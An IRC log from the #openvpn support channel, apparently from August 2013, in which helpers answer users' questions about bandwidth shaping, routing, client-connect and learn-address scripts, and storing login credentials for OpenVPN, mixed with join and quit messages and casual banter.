13:15 -!- nohitall [nohitall@gateway/shell/anapnea.net/x-xlmtksqybejksdjy] has joined #openvpn
13:17 -!- aegis [~aegis@184.75.214.18] has joined #openvpn
13:25 -!- kro[au] [~thatguy@kgovps.com] has quit [Ping timeout: 245 seconds]
13:28 < nohitall> question: is it difficult to restrict a users bandwidth and max traffic?
13:28 < nohitall> *quota
13:29 <+pekster> You'd do that on your OS through the use of QoS. I answered a nearly identical question on the forums recently: https://forums.openvpn.net/topic13548.html#p32306
13:29 <@vpnHelper> Title: OpenVPN Support Forum bandwidth management and conn. count in a more complex setup : Scripting and Customizations (at forums.openvpn.net)
13:32 < nohitall> pekster: I actaully found that, thank you very much
13:32 < nohitall> pekster: so its not that easy
13:33 <+pekster> Besides a little bit of glue (via openvpn's script hooks) it's "no harder" to do QoS with openvpn than it is otherwise
13:34 <+pekster> The rest is all your OS; Linuxes will use the iproute2 `tc` utility while PF users on BSDs will use ALTQ
13:35 <+pekster> That forum answer was targeted to the OP running a Linux, with further reading if this is your setup
13:37 < nohitall> thanks
13:52 -!- stasher [~dan@cpe-24-24-221-190.socal.res.rr.com] has joined #openvpn
14:17 -!- EmLeX [~emx@unaffiliated/emlex] has joined #openvpn
14:38 < stasher> Is there a way to make a client use its LAN address instead of its tun address when routed to a remote network?
14:39 < stasher> for example, I have 192.168.1.0/24 <-> 10.8.0.1(client) <-internet-> 10.8.0.2(server) <-> 192.168.2.0/24
14:40 < stasher> when I ping a 192.168.2 address from a host on the 192.168.1 network it shows as a 192.168.2 machine, but when I ping the same host from the client it shows up as 10.8.0.1
14:41 <+pekster> Why is this a problem? You can SNAT the address, but you shouldn't do that. Any system chooses an address "closest" to the destination target as determined by its routing table
14:42 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
14:42 < stasher> the main reason is that I don't want to have to add a second set of routes to the 192.168.2 hosts just for a single host.
14:43 <+pekster> You'll need to anyway so that ICMP errors can get back
14:44 <+pekster> !route_outside_openvpn
14:44 <@vpnHelper> "route_outside_openvpn" is (#1) If your server is not the default gateway for the LAN, you will need to add routes to your gateway. See ROUTES TO ADD OUTSIDE OPENVPN in !route or (#2) Here are 2 diagrams that explain how this works: http://www.secure-computing.net/wiki/index.php/Graph http://i.imgur.com/BM9r1.png
14:44 <+pekster> If the remote LAN's gatewa isn't the VPN server, just add the routes onto the LAN's gateway and you don't need to worry about the remote hosts individually
14:45 <+pekster> Actually, ICMP errors might not be an issue since there's no reply to them; you might be able to get away with a blind SNAT on the peer "away" from the network you're trying to avoid routing for properly
14:47 < stasher> thanks for the info
14:55 -!- Davst [~dstenbec@h-133-120.a314.priv.bahnhof.se] has quit [Quit: Davst]
15:01 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
15:02 -!- aegis [~aegis@184.75.214.18] has quit [Ping timeout: 264 seconds]
15:14 -!- Guest95694 [~aegis@184.75.212.18] has joined #openvpn
15:34 -!- stasher [~dan@cpe-24-24-221-190.socal.res.rr.com] has quit [Quit: leaving]
15:35 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Quit: Leaving]
15:41 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
16:08 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 245 seconds]
16:15 -!- master_o1_master [~master_of@p4FD7B501.dip0.t-ipconnect.de] has quit [Quit: leaving]
16:30 -!- master_of_master [~master_of@p4FD7B501.dip0.t-ipconnect.de] has joined #openvpn
16:31 -!- kro[au] [~thatguy@kgovps.com] has joined #openvpn
16:41 -!- wiak [~wiak@nwgat.net] has joined #openvpn
16:53 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:55 -!- devdel [~d3vd3l@h-237-75.a199.priv.bahnhof.se] has joined #openvpn
16:55 -!- devdel [~d3vd3l@h-237-75.a199.priv.bahnhof.se] has quit [Client Quit]
17:01 -!- devdel [~d3vd3l@h-237-75.a199.priv.bahnhof.se] has joined #openvpn
17:04 -!- devdel [~d3vd3l@h-237-75.a199.priv.bahnhof.se] has quit [Client Quit]
17:06 -!- Davst [~dstenbec@h-133-120.a314.priv.bahnhof.se] has joined #openvpn
17:21 -!- Davst [~dstenbec@h-133-120.a314.priv.bahnhof.se] has quit [Quit: Davst]
17:24 -!- Davst [~dstenbec@h-133-120.a314.priv.bahnhof.se] has joined #openvpn
17:34 -!- Davst [~dstenbec@h-133-120.a314.priv.bahnhof.se] has quit [Quit: Davst]
17:40 -!- Davst [~dstenbec@h-133-120.a314.priv.bahnhof.se] has joined #openvpn
17:43 -!- Davst [~dstenbec@h-133-120.a314.priv.bahnhof.se] has left #openvpn []
18:19 -!- darknyan [~darknyan@unaffiliated/darknyan] has quit [Read error: Connection reset by peer]
18:20 -!- darknyan [~darknyan@unaffiliated/darknyan] has joined #openvpn
18:21 -!- unixman90001 [~Adium@ip72-223-109-114.ph.ph.cox.net] has quit [Read error: Connection reset by peer]
18:21 -!- unixman9000 [~Adium@ip72-223-109-114.ph.ph.cox.net] has joined #openvpn
18:29 -!- unixman9000 [~Adium@ip72-223-109-114.ph.ph.cox.net] has quit [Ping timeout: 256 seconds]
18:32 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
18:40 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
18:40 -!- unixman9000 [~Adium@ip72-223-109-114.ph.ph.cox.net] has joined #openvpn
18:51 -!- unixman90001 [~Adium@wsip-184-178-199-226.ph.ph.cox.net] has joined #openvpn
18:52 -!- unixman9000 [~Adium@ip72-223-109-114.ph.ph.cox.net] has quit [Ping timeout: 248 seconds]
19:18 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Ping timeout: 246 seconds]
19:30 -!- philipp_ [~philipp@95.211.99.92] has quit [Quit: Ex-Chat]
20:27 -!- cali [~cali@unaffiliated/cali] has quit [Ping timeout: 276 seconds]
20:27 -!- cali [~cali@unaffiliated/cali] has joined #openvpn
20:30 -!- cali [~cali@unaffiliated/cali] has quit [Read error: Operation timed out]
20:46 -!- cali [~cali@unaffiliated/cali] has joined #openvpn
21:05 -!- unixman9000 [~Adium@wsip-184-178-199-226.ph.ph.cox.net] has joined #openvpn
21:07 -!- unixman90001 [~Adium@wsip-184-178-199-226.ph.ph.cox.net] has quit [Ping timeout: 256 seconds]
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:09 -!- warren [~warren@fedora/wombat/warren] has joined #openvpn
22:10 < warren> I'd like to push routes to clients ... which seems simple, except I'd like those IP addresses pushed to be based on whatever a hostname is at a given moment.  Does openvpn config have anything like this?
22:15 <+pekster> warren: DNS names are resolved on-use in openvpn
22:16 -!- warren [~warren@fedora/wombat/warren] has quit [Quit: ZNC - http://znc.in]
22:17 -!- warren [~warren@fedora/wombat/warren] has joined #openvpn
22:17 <+pekster> warren: Not sure if you got my comment about DNS resolving on use. Further, see the --client-connect script hook (the local bot has info via !scripts) that you can use for more complex setups and push whatever options you want to the client from there
22:18 < warren> ahh
22:18 < warren> thanks
22:18 <+pekster> Note that this solution is generally unsuitable for pushing routes to high-level notions like "web server addresses" as those frequently change or are on a round-robbin DNS or load balancer, or a CDN
22:19 <+pekster> If you want that, you really want a proxy
22:19 < warren> I'm pushing routes to irc.freenode.net
22:19 < warren> which change infrequently
22:20 <+pekster> That's also a bad idea as it'll resolve to a single IP
22:20 <@EugeneKay> !routebyapp
22:20 <@vpnHelper> "routebyapp" is if you want to send only certain apps over the VPN you need to run a socks server on the internal VPN subnet (see !sockd) then get an app like proxifier (windows, osx) or tsocks (linux, BSD) to selectively route traffic over the socks proxy based on port/app/subnet or any combination.
22:20 <+pekster> And the TTL is 60 seconds. Don't do that.
22:20 <@EugeneKay> Say what you want to do, not what you think is the right way
22:20 <@EugeneKay> !xy
22:20 <@vpnHelper> "xy" is http://mywiki.wooledge.org/XyProblem -- I want to do X, but I'm asking how to do Y...
22:21 < warren> I know it's a bad idea.   I'm OK with that.
22:21 <+pekster> It flat out won't work how you expect
22:22 <+pekster> Assuming I got all the A records that exist (and it's not on a backend round-robin setup) there is a 1 in 11 chance it will redirect the single IP you push for a route
22:22 <+pekster> And that's discounting the client using IPv6
22:22 <+pekster> Again: you're doing it wrong.
22:23 < warren> I guess I'll just write a thing that updates routes automatically in a loop.
22:23 < warren> not perfect, but I don't need perfect.
22:24 <+pekster> A better solution is an application-level transport (like SOCKS), but failing that a --client-connect script that resolves the DNS on-client-connect and pushes *each* IP might work. Assuming it doesn't change by the time the client connects, and assuming the client doesn't use a differnet IP version than you have supported
22:24 <+pekster> (and possibly assuming other things)
23:10 -!- unixman9000 [~Adium@wsip-184-178-199-226.ph.ph.cox.net] has quit [Ping timeout: 264 seconds]
23:19 -!- xorox90_ [uid7069@gateway/web/irccloud.com/x-zmvxkhizqitrmxyb] has quit [Ping timeout: 245 seconds]
23:19 -!- XJR-9 [uid2977@pdpc/supporter/active/xjr-9] has quit [Ping timeout: 276 seconds]
23:19 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-hsfeaugenxgtifmn] has quit [Ping timeout: 264 seconds]
23:20 -!- mrrothhcloud___ [uid4697@gateway/web/irccloud.com/x-shhsypikgmtspvte] has quit [Ping timeout: 268 seconds]
23:20 -!- lmm [~uid6417@gateway/web/irccloud.com/x-nddupxbnpmyiarfn] has quit [Ping timeout: 268 seconds]
23:20 -!- Vustom [uid7276@gateway/web/irccloud.com/x-cpueidtagjezgcmh] has quit [Ping timeout: 245 seconds]
23:29 -!- crus [~crusader@2001:44b8:319e:2900:70b0:67be:ff17:bde3] has quit [Ping timeout: 260 seconds]
23:31 -!- crus [~crusader@crus0r.soho.on.net] has joined #openvpn
23:36 -!- crus` [~crusader@2001:44b8:319e:2900:70b0:67be:ff17:bde3] has joined #openvpn
23:36 -!- pcdummy [~quassel@unaffiliated/pcdummy] has quit [Remote host closed the connection]
23:37 -!- crus [~crusader@crus0r.soho.on.net] has quit [Ping timeout: 264 seconds]
23:37 -!- pcdummy [~pcdummy@mx1.page4me.ch] has joined #openvpn
23:37 -!- pcdummy [~pcdummy@mx1.page4me.ch] has quit [Changing host]
23:37 -!- pcdummy [~pcdummy@unaffiliated/pcdummy] has joined #openvpn
23:53 -!- StevenFeelsburg1 [~rmurphy@ip72-223-109-114.ph.ph.cox.net] has joined #openvpn
23:54 -!- StevenFeelsburg [~rmurphy@ip72-223-109-114.ph.ph.cox.net] has quit [Ping timeout: 276 seconds]
23:55 -!- unixman9000 [~Adium@wsip-184-178-199-226.ph.ph.cox.net] has joined #openvpn
--- Day changed Mon Aug 19 2013
00:05 -!- xTz [xtz@DeathStar.Techn0.eu] has quit [Ping timeout: 246 seconds]
00:14 -!- warren [~warren@fedora/wombat/warren] has left #openvpn ["Leaving"]
00:29 -!- crus` [~crusader@2001:44b8:319e:2900:70b0:67be:ff17:bde3] has quit [Ping timeout: 260 seconds]
00:30 -!- crus [~crusader@2001:44b8:319e:2900:70b0:67be:ff17:bde3] has joined #openvpn
00:33 -!- unixman90001 [~Adium@ip72-223-109-114.ph.ph.cox.net] has joined #openvpn
00:35 -!- unixman9000 [~Adium@wsip-184-178-199-226.ph.ph.cox.net] has quit [Ping timeout: 264 seconds]
00:43 -!- levifig [~levifig@spwn.co] has quit [Excess Flood]
00:55 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
01:10 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
01:14 -!- crus [~crusader@2001:44b8:319e:2900:70b0:67be:ff17:bde3] has quit [Read error: Connection reset by peer]
01:14 -!- crus [~crusader@2001:44b8:319e:2900:70b0:67be:ff17:bde3] has joined #openvpn
01:19 -!- XJR-9 [uid2977@gateway/web/irccloud.com/x-fwfaremszrheyolo] has joined #openvpn
01:19 -!- XJR-9 [uid2977@gateway/web/irccloud.com/x-fwfaremszrheyolo] has quit [Changing host]
01:19 -!- XJR-9 [uid2977@pdpc/supporter/active/xjr-9] has joined #openvpn
01:19 -!- Vustom [uid7276@gateway/web/irccloud.com/x-mgbvkemtiagdxdti] has joined #openvpn
01:19 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-iuxwwsnjkqozrxoz] has joined #openvpn
01:20 -!- mrrothhcloud___ [uid4697@gateway/web/irccloud.com/x-lqlxbexdafxuttjk] has joined #openvpn
01:21 -!- xorox90_ [uid7069@gateway/web/irccloud.com/x-iwzsblvactidddfp] has joined #openvpn
01:21 -!- lmm_ [uid6417@gateway/web/irccloud.com/x-kffhcvlubimelzwt] has joined #openvpn
01:31 -!- crus [~crusader@2001:44b8:319e:2900:70b0:67be:ff17:bde3] has quit [Ping timeout: 264 seconds]
01:33 -!- crus [~crusader@crus0r.soho.on.net] has joined #openvpn
01:46 -!- mcp [~mcp@wolk-project.de] has joined #openvpn
02:08 -!- Denial [Denial@94.9.99.190] has joined #openvpn
02:42 -!- Sazpaimon_ [wat@96.227.217.235] has joined #openvpn
02:45 -!- Sazpaimon [~wat@96.227.217.235] has quit [Ping timeout: 256 seconds]
02:56 -!- HyperGlide [~HyperGlid@li385-100.members.linode.com] has joined #openvpn
03:10 -!- suprMan` [~clark_ken@109.63.110.144] has joined #openvpn
03:16 -!- suprMan` [~clark_ken@109.63.110.144] has quit [Quit: the guns of love disastrous]
03:23 -!- mikkel_ [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has joined #openvpn
03:33 -!- xTz [xtz@DeathStar.Techn0.eu] has joined #openvpn
03:33 -!- xTz is now known as Guest48981
03:58 -!- kro[au] [~thatguy@kgovps.com] has quit [Excess Flood]
03:58 -!- kro[au] [~thatguy@kgovps.com] has joined #openvpn
04:06 -!- BtbN [znc@btbn.de] has quit [Ping timeout: 240 seconds]
04:08 -!- BtbN [znc@btbn.de] has joined #openvpn
04:16 -!- tom [~tom@s5.wservices.ch] has joined #openvpn
04:18 < tom> my openvpn works, however both the client (OS X) and server (FreeBSD) can't ping themselves (e.g. the server's tun0 says "inet 172.16.0.1 --> 172.16.0.1 netmask 0xffffff00") but i can't ping 172.16.0.1 from the server. i tried disabling pf and can see the "ICMP echo request" packet on tun0 but there is no response. any ideas?
04:34 -!- crus [~crusader@crus0r.soho.on.net] has quit [Ping timeout: 240 seconds]
04:35 -!- crus [~crusader@2001:0:4137:9e76:cd0:2f69:c458:154d] has joined #openvpn
04:41 -!- crus [~crusader@2001:0:4137:9e76:cd0:2f69:c458:154d] has quit [Ping timeout: 264 seconds]
04:41 -!- crus [~crusader@2001:44b8:319e:2900:9490:c7ce:d47:f40f] has joined #openvpn
04:42 -!- troj [~xxx@2001:470:1f15:107a::50f7] has quit [Read error: Connection reset by peer]
04:43 -!- troj [~xxx@2001:470:1f15:107a::50f7] has joined #openvpn
05:15 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
05:40 -!- HyperGlide [~HyperGlid@li385-100.members.linode.com] has quit [Remote host closed the connection]
05:42 -!- master_of_master [~master_of@p4FD7B501.dip0.t-ipconnect.de] has quit [Ping timeout: 246 seconds]
05:50 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
06:45 -!- master_of_master [~master_of@p4FD7B501.dip0.t-ipconnect.de] has joined #openvpn
07:56 -!- elfixit [~fix@2001:1620:2777:11:3e97:eff:fe7f:f3ad] has joined #openvpn
08:15 -!- APTX_ [APTX@unaffiliated/aptx] has joined #openvpn
08:16 -!- cj_ [~cjac@2607:ff08:f5:3a::3] has joined #openvpn
08:17 -!- Martin`_ [martin@shell.ipv6.octocore.net] has joined #openvpn
08:17 -!- kenyon_ [kenyon@darwin.kenyonralph.com] has joined #openvpn
08:17 -!- havoc__ [~havoc@neptune.chaillet.net] has joined #openvpn
08:19 -!- plai [~arne@openvpn/community/developer/plaisthos] has joined #openvpn
08:19 -!- mode/#openvpn [+o plai] by ChanServ
08:20 -!- havoc [~havoc@neptune.chaillet.net] has quit [Disconnected by services]
08:20 -!- havoc__ is now known as havoc
08:20 -!- darknyan_ [~darknyan@2a00:1630:2:f00::cafb:9c1] has joined #openvpn
08:20 -!- meepmeep [meepmeep@there-is-no.endoftheinternet.org] has joined #openvpn
08:20 -!- troj_ [~xxx@2001:470:1f15:107a::50f7] has joined #openvpn
08:20 -!- Fiouz [~Fiouz@2a01:e0b:1:68:240:63ff:fee6:924b] has quit [Disconnected by services]
08:20 -!- Fiouz_ [~Fiouz@2a01:e0b:1:68:240:63ff:fee6:924b] has joined #openvpn
08:21 -!- `Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has joined #openvpn
08:21 -!- lupine_85 [~lupine@unaffiliated/lupine-85/x-7392152] has joined #openvpn
08:22 -!- Netsplit *.net <-> *.split quits: vertigo, darknyan, Sorcier_FXK, plaisthos, kantlivelong, ShapeShifter499, troj, Nothing4You, troyt, Martin`,  (+6 more, use /NETSPLIT to show all of them)
08:22 -!- Martin`_ is now known as Martin`
08:22 -!- kantlive- [~kantlivel@home.kantlivelong.com] has joined #openvpn
08:22 -!- lupine_85 is now known as lupine
08:23 -!- Netsplit over, joins: mback2k_
08:23 -!- `Nothing4You is now known as Nothing4You
08:24 -!- Netsplit over, joins: troyt
08:26 -!- ShapeShi- [ShapeShift@bounce.around.the.world.panicbnc.net] has joined #openvpn
08:26 -!- Sorcier_FXK [~Sorcier_F@unaffiliated/sorcierfxk] has joined #openvpn
08:28 -!- vertigo [bleach@2604:180::f476:be4f] has joined #openvpn
08:32 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Excess Flood]
08:32 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
08:46 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 264 seconds]
08:49 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 264 seconds]
08:50 -!- takamichi [~takamichi@217.23.15.212] has joined #openvpn
08:51 -!- StevenFeelsburg1 [~rmurphy@ip72-223-109-114.ph.ph.cox.net] has quit [Quit: Leaving.]
08:54 -!- WinstonSmith [~WinstonSm@a81-84-205-35.cpe.netcabo.pt] has joined #openvpn
08:54 -!- WinstonSmith [~WinstonSm@a81-84-205-35.cpe.netcabo.pt] has quit [Changing host]
08:54 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
09:09 -!- jaag [~jaag@200.44.185.178] has joined #openvpn
09:11 < jaag> ..
09:12 -!- JAVACODER [~JAVACODER@2.190.39.129] has joined #openvpn
09:14 -!- mikkel_ [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has quit [Quit: Leaving]
09:15 -!- jaag [~jaag@200.44.185.178] has quit [Quit: Saliendo]
09:16 -!- kenyon_ is now known as kenyon
09:28 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 264 seconds]
09:34 -!- StevenFeelsburg [~rmurphy@wsip-184-178-199-226.ph.ph.cox.net] has joined #openvpn
09:37 -!- StevenFeelsburg [~rmurphy@wsip-184-178-199-226.ph.ph.cox.net] has quit [Read error: Connection reset by peer]
09:40 -!- kro[au] [~thatguy@kgovps.com] has quit [Excess Flood]
09:40 -!- dvl- [~dan@pdpc/supporter/active/dvl] has joined #openvpn
09:40 -!- kro[au] [~thatguy@kgovps.com] has joined #openvpn
09:43 < dvl-> At home, my laptops connects via WIFI and gets a static IP address.  When away, my laptop will connect in via OpenVPN, which assigs a different, but constant, IP address.  Can OpenVPN work with dyndns to tell my home DNS server that the laptop's IP address has changed?
09:43 < dvl-> OK, two typos in two sentences.  I am doing well.
09:45 -!- takamichi [~takamichi@217.23.15.212] has quit [Ping timeout: 260 seconds]
09:47 < rob0> um, it looks like you want to run your own dnsmasq(8) or similar. I don't know of any public dynamic DNS service which would list RFC 1918 IP addresses for you.
09:47 -!- pcdummy [~pcdummy@unaffiliated/pcdummy] has quit [Read error: Connection reset by peer]
09:47 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
09:47 < dvl-> rob0: I have my own DNS server and DHCP server at home.  It's just the local IP address on my LAN which I wish to update.  I suspect --client-connect script (just found it now) may be what I want.
09:48 < rob0> probably, yes.
09:50 -!- osier [~osier@60.8.123.94] has joined #openvpn
09:50 < rob0> What I used to do when I lived in an apartment complex: I left my wifi wide open but did no routing for it. Clients had to connect via openvpn to get out to the Internet.
09:50 -!- pcdummy [~pcdummy@mx1.page4me.ch] has joined #openvpn
09:50 -!- pcdummy [~pcdummy@mx1.page4me.ch] has quit [Changing host]
09:50 -!- pcdummy [~pcdummy@unaffiliated/pcdummy] has joined #openvpn
09:50 < rob0> In that case, you could simply have a static VPN IP address.
09:50 < rob0> !ccd
09:50 <@vpnHelper> "ccd" is (#1) entries that are basically included into server.conf, but only for the specified client based on common-name. use --client-config-dir <dir> to enable it, then put the config options for the client in <dir>/common-name or (#2) the ccd file is parsed each time the client connects.
09:50 < dvl-> rob0: I'm pretty sure I'm using ccd already.
09:51 < osier> anyone knows why my vpnc always can't work with a warning "NetworkManager[732]: <warn> /sys/devices/virtual/net/tun0: couldn't determine device driver; ignoring..."
09:52 < osier> it works perfectly before tonight, with the same version vpnc and NetworkManager...
09:52 < dvl-> rob0: Yes, I am using ccd.  I have a file ccd/dent.example.org and in there it has ifconfig-push dent-vpn.example.org dent-vpn-endpoint.example.org
09:53 < dvl-> now all I need to do is have the DHCP update dent.example.org to be the same value as dent-vpn-endpoint.example.org
09:54 < dvl-> osier: Sorry, never used that before
09:54 < osier> dvl, thanks all the same.
09:55 < dvl-> rob0: So yes, I do have a static VPN IP address already.
09:55 <@ecrist> dvl-: --client-connect is what you want
09:56 < dvl-> ecrist: Hello there sir.
09:56 < dvl-> ecrist: Are you perhaps headed to Malta or Washington for upcoming conferences?  I'll be at the one in Malta, but not yet sure about Washington, but I think so.
09:57 <@ecrist> hello to you, as well
09:57 <@ecrist> no, I'm not planning on any conferences this year.
09:57 <@ecrist> the next will probably be MeetBSD next year
09:58 -!- monk [~aknm@unaffiliated/aknm] has quit [Quit: Leaving]
10:02 < dvl-> ecrist: I know how that is.  I would like to get to more conferences.  Upside: more conferences.  Downside: more travelling and time at conferences.
10:03 <@ecrist> too much work to do lately.  been trying (and failing) to hire another admin
10:03 < dvl-> Work is good though.
10:04 <@ecrist> indeed.  generally, it's a good problem to have
10:04 <@ecrist> we're adding BGP to our tasks as we're moving to a carrier-neutral facility next week.
10:04 <@ecrist> that's a fun learning curve
10:06 -!- osier [~osier@60.8.123.94] has quit [Ping timeout: 268 seconds]
10:07 < dvl-> ecrist: do you know Allan Jude?  I recall him talking about BGP.
10:07 <@ecrist> name doesn't ring any bells
10:10 < dvl-> Via google, I found a scripte which uses the --learn-address cmd option in conjunction with nsupdate.  That seems to make sense.  http://openvpn.net/archive/openvpn-users/2005-08/msg00146.html
10:10 <@vpnHelper> Title: [Openvpn-users] DNS update script, revisited (at openvpn.net)
10:10 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
10:10 -!- osier [~osier@60.8.123.92] has joined #openvpn
10:10 < dvl-> It handles the add, update, delete.
10:12 -!- devdel [~d3vd3l@h-237-75.a199.priv.bahnhof.se] has joined #openvpn
10:13 <@ecrist> there you go.  I forget about learn-address
10:15 < dvl-> One thing I'll want to achieve, and I see how to do this: on add or update, update the record to the VPN address, when deleting, revert the record to the local LAN address.
10:16 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-vdlmlbgkvrvxtrhm] has joined #openvpn
10:16 < dvl-> The interesting thing in the docs for learn-address: Run script or shell command cmd to validate client virtual addresses or routes. <= I take it, so long as my script returns 0, the address is assumed validated.
10:42 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 260 seconds]
10:42 -!- kro[au] [~thatguy@kgovps.com] has quit [Read error: Operation timed out]
10:43 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
10:49 -!- osier [~osier@60.8.123.92] has quit [Remote host closed the connection]
10:59 -!- saneki_ [~saneki@dedi2.ip1.zylongaming.com] has quit [Ping timeout: 245 seconds]
11:07 -!- saneki [~saneki@dedi2.ip1.zylongaming.com] has joined #openvpn
11:41 -!- Carbon_Monoxide [~cmonxide@058176022144.ctinets.com] has joined #openvpn
12:03 -!- wiak [~wiak@nwgat.net] has quit [Remote host closed the connection]
12:05 -!- wiak [~wiak@nwgat.net] has joined #openvpn
12:12 -!- MariusIT [~MariusIT@91.201.195.240] has joined #openvpn
12:30 -!- master_o1_master [~master_of@p4FF24195.dip0.t-ipconnect.de] has joined #openvpn
12:33 -!- master_of_master [~master_of@p4FD7B501.dip0.t-ipconnect.de] has quit [Ping timeout: 240 seconds]
12:41 -!- dvl- [~dan@pdpc/supporter/active/dvl] has quit [Quit: leaving]
12:53 -!- averagecase [~anon@dslb-178-006-165-123.pools.arcor-ip.net] has joined #openvpn
12:56 -!- elfixit [~fix@2001:1620:2777:11:3e97:eff:fe7f:f3ad] has quit [Quit: Leaving]
12:58 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
13:48 -!- Carbon_Monoxide [~cmonxide@058176022144.ctinets.com] has quit [Quit: Leaving]
13:54 -!- cyberspace- [20253@ninthfloor.org] has quit [Ping timeout: 264 seconds]
13:55 -!- cyberspace- [~cyberspac@ninthfloor.org] has joined #openvpn
14:02 -!- JAVACODER [~JAVACODER@2.190.39.129] has quit [Ping timeout: 246 seconds]
14:09 -!- cyberspace- [~cyberspac@ninthfloor.org] has quit [Ping timeout: 240 seconds]
14:11 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
14:22 -!- fischli [~fischli@static-31-25-152-181.ewacom.ropa.net] has joined #openvpn
14:35 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
14:36 -!- MariusIT [~MariusIT@91.201.195.240] has quit [Quit: Nettalk6 - www.ntalk.de]
14:37 -!- jave [~jave@h-235-102.a149.priv.bahnhof.se] has quit [Quit: ZNC - http://znc.in]
14:38 -!- JSharpe [~JSharpe@10-253-3-31-anc.floodtel.net] has joined #openvpn
14:38 -!- jave [~jave@h-235-102.a149.priv.bahnhof.se] has joined #openvpn
14:39 -!- KaiForce [~chatzilla@107.223.70.10] has joined #openvpn
14:51 -!- Denial [Denial@94.9.99.190] has quit []
14:54 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
14:57 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
14:57 <@krzee> dvl, correct
14:57 < dougy[work]> krzee
14:57 < dougy[work]> im bored
14:57 <@krzee> not i, my bong is keeping me company
14:58 <@krzee> !krzee
14:58 <@vpnHelper> "krzee" is (#1) krzee says happy 4/20 or (#2) http://www.ircpimps.org/pics/krzee/blunt.jpg or (#3) location: moon base where he smokes moonajuana
14:58 < dougy[work]> lol
14:58 < dougy[work]> :)
15:04 <@krzee> oh and im committing what may become a felony in your country
15:04 <@krzee> im streaming copywritten content *gasp*
15:05 <@krzee> yes, watching news clips without permission, someone call the feds!
15:09 -!- fischli [~fischli@static-31-25-152-181.ewacom.ropa.net] has quit [Quit: Leaving.]
15:17 -!- RealRancor [~Rancor@prielwurmjaeger.de] has quit [Quit: ZNC - http://znc.sourceforge.net]
15:19 -!- RealRancor [~Rancor@prielwurmjaeger.de] has joined #openvpn
15:20 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
15:29 -!- kro[au] [~thatguy@kgovps.com] has joined #openvpn
15:31 <@novaflash> hi krzee
15:32 <@novaflash> doing illegal stuff again?
15:32 <@EugeneKay> !krzee
15:32 <@vpnHelper> "krzee" is (#1) krzee says happy 4/20 or (#2) http://www.ircpimps.org/pics/krzee/blunt.jpg or (#3) location: moon base where he smokes moonajuana
15:32 <@novaflash> thought so
15:34 -!- Guest64655 [~Freeaqing@91.214.168.110] has joined #openvpn
15:35 -!- Guest64655 [~Freeaqing@91.214.168.110] has left #openvpn []
15:35 -!- Freeaqingme [~Freeaqing@91.214.168.110] has joined #openvpn
15:36 < Freeaqingme> Hi. I've got a vpn connection that asks me for a username and password. Is it possible to save that somwhere in a file and simply include that file upon command?
15:36 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit []
15:36 <@novaflash> HELL YEAH!!
15:36 <@novaflash> but it is saved plaintext.
15:37 < Freeaqingme> it's not a problem
15:37 <+hazardous> hi novaflash
15:37 < Freeaqingme> or well, I deem it acceptable
15:37 <+pekster> Freeaqingme: See --auth-user-pass in the manpage
15:37 <@novaflash> simply put username on first line, password on second line, in a new text file. save it. then add auth-user-pass auth.txt to your profile. or specify it on the command line --auth-user-pass auth.txt or something
15:37 <@novaflash> yeah or do that :) hi pekster
15:37 <@novaflash> hi hazardass
15:38 < Freeaqingme> novaflash, thanks.!
15:38 <@novaflash> it's considered EVIL because of plaintext
15:38 <@novaflash> so the world will hate you and all that
15:38 <+pekster> Could be stored on an encrypted filesystem too
15:38 <@novaflash> good point :-D
15:39 <@novaflash> for optimal security, remove internet connection, thank you
15:39 <+pekster> Installations where physical theft of media is part of the threat model will do that
15:39 <@novaflash> hm, do those installations come with a very strong and powerful angry man that will beat you up if you steal stuff? if not, it should.
15:40 <+pekster> If your pocketbook is deep enough, yes.
15:40 <@novaflash> i shall kill him Encryption
15:41 <@novaflash> "do you have encryption on your files?"
15:41 <@novaflash> oh yeah man. encryption's right here.
15:41 <@novaflash> you try to get to my files and you'll regret it
15:41 <@novaflash> i have strong encryption ;)
15:56 <@krzee> !shotgun
